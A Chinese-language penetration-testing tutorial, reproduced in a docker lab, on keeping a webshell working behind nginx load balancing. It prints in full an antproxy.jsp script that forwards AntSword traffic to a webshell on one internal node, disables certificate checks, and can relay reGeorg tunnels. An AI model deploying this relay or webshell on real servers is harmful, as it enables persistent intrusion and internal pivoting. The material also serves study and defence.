場景描述

假定在真實生產(chǎn)環(huán)境中，存在一個RCE漏洞，可以讓我們?nèi)〉肳ebShell

環(huán)境的安裝

首先在GetHub上拉去漏洞的鏡像前，需提前在centos上安裝nginx和tomcat以及配置好nginx以及tomcat的相關(guān)配置文件，在使用docker將鏡像拉取下來，進(jìn)行漏洞的複現(xiàn)。

1、先將docker環(huán)境建置起來

2、測試tomcat是否可以存取

?根據(jù)上圖可以看出，後端的tomcat是可以存取的

3、查看docker中nginx反向代理的負(fù)載平衡

##4、查看docker中l(wèi)bsnode1中的ant.jsp檔案

此檔案可以理解為一句話木馬，在lbsnode2中也是存有相同的檔案

lbsnode1:

#?lbsnode2:

5、透過中國蟻劍來連接ant.jsp檔案

#?因為兩個節(jié)點(diǎn)都在相同的位置存在ant.jsp，所以連接的時候也沒出現(xiàn)什麼異常

#復(fù)現(xiàn)過程

存在的問題

問題一：由於nginx採用的反向代理是輪詢的方式，所以上傳檔案必須在兩臺後端伺服器的相同位置上傳相同的檔案

因為我們是反向代理的負(fù)載平衡，就存在上傳文件出現(xiàn)一臺後端伺服器上有我們上傳的文件，另一臺伺服器上沒有我們上傳的文件，出現(xiàn)的結(jié)果就是，一旦一臺伺服器上沒有，那麼在請求輪到這臺伺服器的時候，就會報出404的錯誤，進(jìn)而影響使用，也就是一會出現(xiàn)正常，一會出現(xiàn)錯誤的原因。

解決方案：

我們需要在每一臺節(jié)點(diǎn)的相同位置上傳相同內(nèi)容的WebShell，從而實現(xiàn)無論是輪詢到哪臺伺服器上都可以存取到我們的後端伺服器上。實現(xiàn)每一臺後端伺服器上都有上傳的文件，就需要瘋狂上傳。

問題二：我們在執(zhí)行指令時，無法知道下次的請求交給哪臺機(jī)器去執(zhí)行

我們在執(zhí)行hostname -i查看目前執(zhí)行機(jī)器的IP時，可以看到IP位址一直在漂移

問題三：當(dāng)我們需要上傳一些較大的工具時，會造成工具無法使用的情況

當(dāng)我們上傳一個較大的檔案時，由於AntSword上傳檔案時，採用的是分片上傳方式，把一個檔案分成了多次HTTP請求傳送給目標(biāo)，造成檔案的一部分內(nèi)容在A這臺伺服器上，另一部分檔案在B這臺伺服器上，使得較大的工具或檔案無法開啟或使用

##問題四：由於目標(biāo)主機(jī)無法出外網(wǎng)，想要進(jìn)一步深入，只能使用reGeorg/HTTPAbs 等HTTP Tunnel，可在這個場景下，這些tunnel 腳本全部都失靈了。

解決方案

方案一：關(guān)掉其中的一臺後端伺服器

##關(guān)閉後端其中的一臺伺服器確實能夠解決上述的四種問題，但是這個方案實在是“老壽星上吊---活膩了”，影響業(yè)務(wù)，還會造成災(zāi)難，直接Pass不考慮

##綜合評價：真是環(huán)境下千萬不要嘗試！ ！ ！

方案二：在程式執(zhí)行前先判斷要不要執(zhí)行

#既然無法預(yù)測下一次是哪一臺機(jī)器去執(zhí)行，那我們的shell在執(zhí)行Payload之前，先判斷要不要執(zhí)行不就可以了。 首次按建立一個腳本demo.sh，該腳本是獲取我們的後端其中一臺伺服器的位址，匹配到這臺伺服器的位址才進(jìn)行程式的執(zhí)行，並匹配到另一臺伺服器則不進(jìn)行程序的執(zhí)行。

透過中國蟻劍將demo.sh腳本檔案上傳到後端的兩臺伺服器上，因為是負(fù)載平衡，所以需要瘋狂點(diǎn)擊上傳

#

?這樣一來，確實能夠保證執(zhí)行的命令是在我們想要的機(jī)器上了，可是這樣執(zhí)行命令，沒有一絲美感，另外，大檔案上傳、HTTP隧道這些問題也沒有解決。

綜合評價:此方案勉強(qiáng)能用，只適合在執(zhí)行指令的時候用，不夠優(yōu)雅。

方案三：在Web層做一次HTTP流量的轉(zhuǎn)送(重點(diǎn))

沒錯，我們用AntSword 沒法直接存取LBSNode1 內(nèi)網(wǎng)IP (172.23.0.2)的8080 端口，但是有人能訪問呀，除了nginx 能訪問之外，LBSNode2 這臺機(jī)器也是可以訪問Node1 這臺機(jī)器的8080 端口的。

還記不記得「PHP Bypass Disable Function」 這個插件，我們在這個插件載入so 之後，本地啟動了一個httpserver，然後我們用到了HTTP 層面的流量轉(zhuǎn)送腳本「antproxy.php ”, 我們放在這個場景下看：

?我們一步一步來看這個圖，我們的目的是：所有的資料包都能發(fā)給「LBSNode 1」這臺機(jī)器

首先是第1 步，我們請求/antproxy.jsp，這個請求發(fā)給nginx

nginx 接到封包之後，會有兩種情況：

我們先看黑色線，第2 步把請求傳遞給了目標(biāo)機(jī)器，請求了Node1 機(jī)器上的/antproxy.jsp，接著第3 步，/antproxy.jsp 把請求重組之後，傳給了Node1 機(jī)器上的/ant.jsp，成功執(zhí)行。

再來看紅色線，第2 步把請求傳給了Node2 機(jī)器, 接著第3 步，Node2 機(jī)器上面的/antproxy.jsp 把請求重組之後，傳給了Node1 的/ant.jsp，成功執(zhí)行。

1、建立 antproxy.jsp 腳本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2、修改轉(zhuǎn)送位址，轉(zhuǎn)向目標(biāo) Node 的內(nèi)網(wǎng)IP的 目標(biāo)腳本 存取位址。

注意：不只是WebShell 喲，還可以改成reGeorg 等腳本的存取位址

我們將target 指向了LBSNode1 的ant.jsp

注意:

a) 不要使用上傳功能，上傳功能會分片上傳，導(dǎo)致分散在不同Node 上。

b) 要確保每一臺Node 上都有相同路徑的antproxy.jsp, 所以我瘋狂保存了很多次，保證每一臺都上傳了腳本

3、?修改Shell 設(shè)定, 將URL 部分填入為antproxy.jsp 的位址，其它配置不變

4、測試執(zhí)行指令, 檢視IP

?可以看到IP 已經(jīng)固定, 意味著請求已經(jīng)固定到LBSNode1 這臺機(jī)器上了。此時使用分片上傳、HTTP 代理，都已經(jīng)跟單機(jī)的情況沒什麼區(qū)別了

該方案的優(yōu)點(diǎn)：

1、低權(quán)限就可以完成，如果權(quán)限高的話，還可以透過連接埠層面直接轉(zhuǎn)發(fā)，不過這跟Plan A 的關(guān)服務(wù)就沒啥區(qū)別了

2、流量上，只影響訪問WebShell 的請求，其它的正常業(yè)務(wù)請求不會影響。

3、適配更多工具

缺點(diǎn)：

#方案需要「目標(biāo)Node」與「其它Node」 之間內(nèi)網(wǎng)互通，如果不互通就涼了。

以上是nginx負(fù)載平衡下的webshel??l上傳如何實現(xiàn)的詳細(xì)內(nèi)容。更多資訊請關(guān)注PHP中文網(wǎng)其他相關(guān)文章！